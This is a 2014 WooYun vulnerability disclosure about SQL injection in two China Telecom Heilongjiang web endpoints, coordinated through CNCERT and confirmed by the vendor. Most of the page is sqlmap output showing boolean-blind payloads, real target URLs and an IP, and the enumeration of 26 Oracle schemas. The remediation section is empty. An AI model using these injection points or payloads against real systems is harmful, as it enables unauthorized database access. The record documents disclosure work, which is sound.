当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061221

漏洞标题:中国电信黑龙江省某分站两处Oracle注入(横跨26个数据库)之第三蛋

相关厂商:中国电信

漏洞作者: Mosuan

提交时间:2014-05-22 16:15

修复时间:2014-07-06 16:17

公开时间:2014-07-06 16:17

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-22: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向核心白帽子及相关领域专家公开
2014-06-16: 细节向普通白帽子公开
2014-06-26: 细节向实习白帽子公开
2014-07-06: 细节向公众公开

简要描述:

呵呵,原谅我无耻的刷洞~~!

详细说明:

因为不是通杀的!!
第一枚注入地址

http://hl.118100.cn/cring/jsp/user/board/banglist.jsp?boardType=0


注入地址:http://hl.118100.cn/cring/jsp/user/board/banglist.jsp?boardType=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:05:00
[23:05:00] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\hl.118100.cn\session' as session file
[23:05:00] [INFO] testing connection to the target url
[23:05:00] [INFO] testing if the url is stable, wait a few seconds
[23:05:01] [INFO] url is stable
[23:05:01] [INFO] testing if GET parameter 'boardType' is dynamic
[23:05:02] [INFO] confirming that GET parameter 'boardType' is dynamic
[23:05:02] [INFO] GET parameter 'boardType' is dynamic
[23:05:02] [WARNING] heuristic test shows that GET parameter 'boardType' might n
ot be injectable
[23:05:02] [INFO] testing sql injection on GET parameter 'boardType'
[23:05:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:05:03] [INFO] GET parameter 'boardType' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[23:05:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:05:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:05:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:05:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:05:05] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:05:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:05:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:05:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:05:05] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:05:05] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:05:06] [INFO] testing 'Oracle AND time-based blind'
[23:05:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:05:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:05:08] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[23:05:10] [INFO] checking if the injection point on GET parameter 'boardType' i
s a false positive
GET parameter 'boardType' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Place: GET
Parameter: boardType
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: boardType=0 AND 2608=2608
---
[23:05:14] [INFO] testing MySQL
[23:05:14] [WARNING] the back-end DBMS is not MySQL
[23:05:14] [INFO] testing Oracle
[23:05:15] [INFO] confirming Oracle
[23:05:15] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[23:05:15] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[23:05:15] [INFO] fetching database (schema) names
[23:05:15] [INFO] fetching number of databases
[23:05:15] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:05:15] [INFO] retrieved: 26
[23:05:27] [INFO] retrieved: ANALYSIS
[23:06:37] [INFO] retrieved: CRING_SMS
[23:08:00] [INFO] retrieved: CRING_WEB
[23:09:15] [INFO] retrieved: CTXSYS
[23:10:10] [INFO] retrieved: DBSNMP
[23:11:02] [INFO] retrieved: DMSYS
[23:11:48] [INFO] retrieved: EXFSYS
[23:12:40] [INFO] retrieved: MDSYS
[23:13:25] [INFO] retrieved: NAGIOS
[23:14:21] [INFO] retrieved: OLAPSYS
[23:15:22] [INFO] retrieved: ORDSYS
[23:16:15] [INFO] retrieved: OUTLN
[23:17:02] [INFO] retrieved: SA_C
[23:17:40] [INFO] retrieved: SMOP_DIDP
[23:19:03] [INFO] retrieved: SMOP_QUARTE
[23:20:34] [INFO] retrieved: SMOP_SMS
[23:21:50] [INFO] retrieved: SMOP_SYSMON
[23:23:29] [INFO] retrieved: SMOP_XWSTAT
[23:25:01] [INFO] retrieved: SYS
[23:25:31] [INFO] retrieved: SYSMAN
[23:26:22] [INFO] retrieved: SYSTEM
[23:27:17] [INFO] retrieved: TSMSYS
[23:28:11] [INFO] retrieved: WAP
[23:28:41] [INFO] retrieved: WMSYS
[23:29:25] [INFO] retrieved: XDB
[23:29:58] [INFO] retrieved: XWSTAT
available databases [26]:
[*] ANALYSIS
[*] CRING_SMS
[*] CRING_WEB
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] NAGIOS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SA_C
[*] SMOP_DIDP
[*] SMOP_QUARTE
[*] SMOP_SMS
[*] SMOP_SYSMON
[*] SMOP_XWSTAT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WAP
[*] WMSYS
[*] XDB
[*] XWSTAT
[23:30:52] [WARNING] HTTP error codes detected during testing:
404 (Not Found) - 3 times
[23:30:52] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\hl.118100.cn'


第二枚注入地址

http://123.167.5.108:8080/cring/jsp/user/board/banglist.jsp?boardType=0


注入地址:http://123.167.5.108:8080/cring/jsp/user/board/banglist.jsp?boardType=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:12:59
[00:12:59] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\123.167.5.108\session' as session file
[00:12:59] [INFO] testing connection to the target url
[00:12:59] [INFO] testing if the url is stable, wait a few seconds
[00:13:01] [INFO] url is stable
[00:13:01] [INFO] testing if GET parameter 'boardType' is dynamic
[00:13:01] [INFO] confirming that GET parameter 'boardType' is dynamic
[00:13:01] [INFO] GET parameter 'boardType' is dynamic
[00:13:01] [WARNING] heuristic test shows that GET parameter 'boardType' might n
ot be injectable
[00:13:01] [INFO] testing sql injection on GET parameter 'boardType'
[00:13:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:13:02] [INFO] GET parameter 'boardType' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[00:13:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:13:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:13:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:13:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:13:03] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:13:03] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:13:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:13:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:13:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:13:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:13:04] [INFO] testing 'Oracle AND time-based blind'
[00:13:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:13:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:13:06] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:13:08] [INFO] checking if the injection point on GET parameter 'boardType' i
s a false positive
GET parameter 'boardType' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Place: GET
Parameter: boardType
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: boardType=0 AND 7076=7076
---
[00:13:10] [INFO] testing MySQL
[00:13:10] [WARNING] the back-end DBMS is not MySQL
[00:13:10] [INFO] testing Oracle
[00:13:11] [INFO] confirming Oracle
[00:13:11] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:13:11] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:13:11] [INFO] fetching database (schema) names
[00:13:11] [INFO] fetching number of databases
[00:13:11] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:13:11] [INFO] retrieved: 26
[00:13:17] [INFO] retrieved: ANALYSIS
[00:13:55] [INFO] retrieved: CRING_SMS
[00:14:38] [INFO] retrieved: CRING_WEB
[00:15:18] [INFO] retrieved: CTXSYS
[00:15:47] [INFO] retrieved: DBSNMP
[00:16:16] [INFO] retrieved: DMSYS
[00:16:40] [INFO] retrieved: EXFSYS
[00:17:10] [INFO] retrieved: MDSYS
[00:17:34] [INFO] retrieved: NAGIOS
[00:18:01] [INFO] retrieved: OLAPSYS
[00:18:38] [INFO] retrieved: ORDSYS
[00:19:08] [INFO] retrieved: OUTLN
[00:19:36] [INFO] retrieved: SA_C
[00:19:56] [INFO] retrieved: SMOP_DIDP
[00:20:39] [INFO] retrieved: SMOP_QUARTE
[00:21:35] [INFO] retrieved: SMOP_SMS
[00:22:13] [INFO] retrieved: SMOP_SYSMON
[00:23:19] [INFO] retrieved: SMOP_XWSTAT
[00:24:11] [INFO] retrieved: SYS
[00:24:31] [INFO] retrieved: SYSMAN
[00:25:11] [INFO] retrieved: SYSTEM
[00:25:43] [INFO] retrieved: TSMSYS
[00:26:13] [INFO] retrieved: WAP
[00:26:30] [INFO] retrieved: WMSYS
[00:26:54] [INFO] retrieved: XDB
[00:27:12] [INFO] retrieved: XWSTAT
available databases [26]:
[*] ANALYSIS
[*] CRING_SMS
[*] CRING_WEB
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] NAGIOS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SA_C
[*] SMOP_DIDP
[*] SMOP_QUARTE
[*] SMOP_SMS
[*] SMOP_SYSMON
[*] SMOP_XWSTAT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WAP
[*] WMSYS
[*] XDB
[*] XWSTAT
[00:27:45] [WARNING] HTTP error codes detected during testing:
404 (Not Found) - 3 times
[00:27:45] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\123.167.5.108'


漏洞证明:

详细说明

修复方案:

你们懂的!!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-27 13:29

厂商回复:

CNVD确认并复现所述情况,转由CNCERT协调中国电信集团公司通报处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-27 18:14 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @cncert国家互联网应急中心 发了这么多电信的漏洞,有礼物吗?